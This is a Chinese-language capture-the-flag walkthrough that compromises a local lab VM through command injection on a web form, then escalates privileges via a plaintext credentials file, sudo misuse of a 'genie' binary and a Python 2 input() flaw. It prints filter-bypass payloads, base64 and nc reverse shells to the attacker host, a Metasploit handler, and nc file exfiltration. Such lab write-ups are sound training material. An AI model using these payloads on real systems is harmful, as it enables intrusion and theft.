一、信息收集靶机 IP192.168.152.130netdiscover -r 192.168.152.0/24端口和服务nmap -sS -sV -T5 -A -p- 192.168.152.130匿名账户登录 ftp 下载并查看三个 txt得到一组用户名密码、提示 1337 端口有个 游戏以及一个可能是用户名的 nitish81299。ftp 192.168.152.1301337 端口是个啥呢先开始用浏览器访问了一下。连接被重置了。随后 telnet 访问了一下从图中可以看出是做一些加减乘除的运算还必须得做完 1000 次貌似需要我 们写个脚本所以先放一放。nmap 扫描之后发现 7331 端口跑的是 HTTP 服务所以对它进行页面、目录枚举。gobuster dir -u http://192.168.152.130:7331/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip枚举结果访问 http://192.168.152.130:7331/wish输入了 id提交之后执行了 id 命令。所以 这里存在系统命令命令注入。二、getshellkali 的 IP 为 192.168.152.128msfconsole 做好接收反弹的 shell 的准备msfconsole use exploit/multi/handler set payload cmd/unix/reverse_bash set LHOST 192.168.152.128 set LPORT 1234 exploit反弹 shell结果提示Wrong choice of wordsnc -e /bin/bash 192.168.152.128 1234为方便测试我们使用 burpsuite 进行 bypass 测试。命令注入的过滤一般是对一些特定字符或者关键字进行过滤cmdls -- 可执行 cmdls -lah -- 可执行 说明空格没有被过滤cmdwhoami -- 无法执行 cmdw\ho\am\i -- 可执行 说明过滤了某些 关键字cmduname -a -- 可执行 发现靶机是 Ubuntu 系统所以后续 reverse shell 的时候不打算使用 nc 了 cmdecho w\ho\am\i -- 可执行。echo 可以被执行那就试试 base64 编码。内容为bash -i /dev/tcp/192.168.152.128/1234 01cmdecho YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE1Mi4xMjgvMTIzNCAwPiYx | base64 -d | bash按理来应该是能够反弹 shell 的可是为啥没有反弹呢随后我直接到网页上执行 了相同的命令结果就成功反弹 shell 了。之后猜测可能是 burpsuite 环境与浏览器环境之间存在 url 编码差异的原因于是 对 payload 进行了 url encode然后在 burpsuite 上执行reverse shell 成功。获取 shell 之后要做的第一件事是使用 Python 获取一个 tty不然有些命令是无法 执行的这一步很关键。python3 -c import pty; pty.spawn(/bin/bash)三、权限提升关于 Linux 提权可以直接用脚本搜集一下对于提权有用的信息比如用 linuxprivchecker.py、LinEnum.sh。先在 kali 上开启 HTTP 服务python3 -m http.server 65534使用 wget 下载 linuxprivchecker.py 脚本到靶机的 tmp 目录cd /tmp wget http://192.168.152.128:65534/Desktop/linuxprivchecker.py为了便于查看收集到的信息我将结果输出到 report.txt 文本中之后使用 less 查看。python linuxprivchecker.py report.txt less report.txt获取 user 的 flag读取/etc/passwd 发现有两个用户 sam 和 nitish。cat /etc/passwd在/home/nitish 目录下发现 user.txt但是 www-data 无权限读取sam 的用户目 录也无权限查看。于是返回到/opt/80 目录这里可能有一些线索。读取 app.py 的内容在里面发现了过滤 cmd 的实现方法以及一个可能是线索的文件/home/nitish/.dev/creds.txt。cat /home/nitish/.dev/creds.txt在这个文件里面我们发现了 nitish 用户的密码nitish:p4ssw0rdStr3r0n9随后切换至该用户并获得该用户的 flag。su nitish cat /home/nitish/user.txt获取 root 的 flag查找 sudo 权限命令sudo -l之后查看了一下使用说明发现可以通过这个可执行文件得到一个 shell那么现 在的问题就是应该输入什么样的参数才能获得 sam 用户的 shell再用 man /usr/bin/genie 查看一下使用帮助。genie可以完成你所有的愿望甚至可以提升你的权限。执行sudo -u sam /usr/bin/genie -p /bin/sh然而并没有得到 sam 的 shell。随后执行sudo -u sam /usr/bin/genie -cmd whoami得到了 sam 权限。id sudo -l执行 sudo /root/lago 之后之后我用 find / -writable -type f 2/dev/null 查找了一下可写文件结果发现了一 个/home/sam/.pyc虽然之前也看到过但那时候并没有引起注意接着读取了一下文件的内容。从上图看其实有点懵把主要的东西粘贴出来再看看。Working on it!! Choose a number between 1 to 100: sEnter your number: Better Luck next time Enter the full of the file to read: s!User %s is not allowed to read What do you want to do ? Be naughty Guess the number Read some damn file Enter your choice: work your ass off!!这些话你之前是不是都看到过对就是在/root/lago 这个可执行文件里面看到过。也就是说/root/lago 的源码是 Python你看/home/sam/.pyc 里面也有这样的描述/home/mzfr/scripts/exp.py。所以能不能把.pyc 反编译成.py先把这个文件传到本地。在kali机上执行以下代码nc -nlvp 7777 exp.pyc在靶机上执行以下代码cat /home/sam/.pyc | nc 192.168.152.128 7777kali机上用 uncompyle6 反编译.pycuncompyle6 exp.pyc exp.py读了一下源码发现可供利用的也只有 guessit()这个方法了。用 Google 搜索 python input() vulnerability找到这篇文章vulnerability-input-function-python-2-x 强烈建议看一下 我把关键地方截了个图。根据这个漏洞结合上面的代码我们只需要输入 num就可以得到 root 权限的 shell 了。sudo /root/lagoid cd /root ls -lah sh proof.sh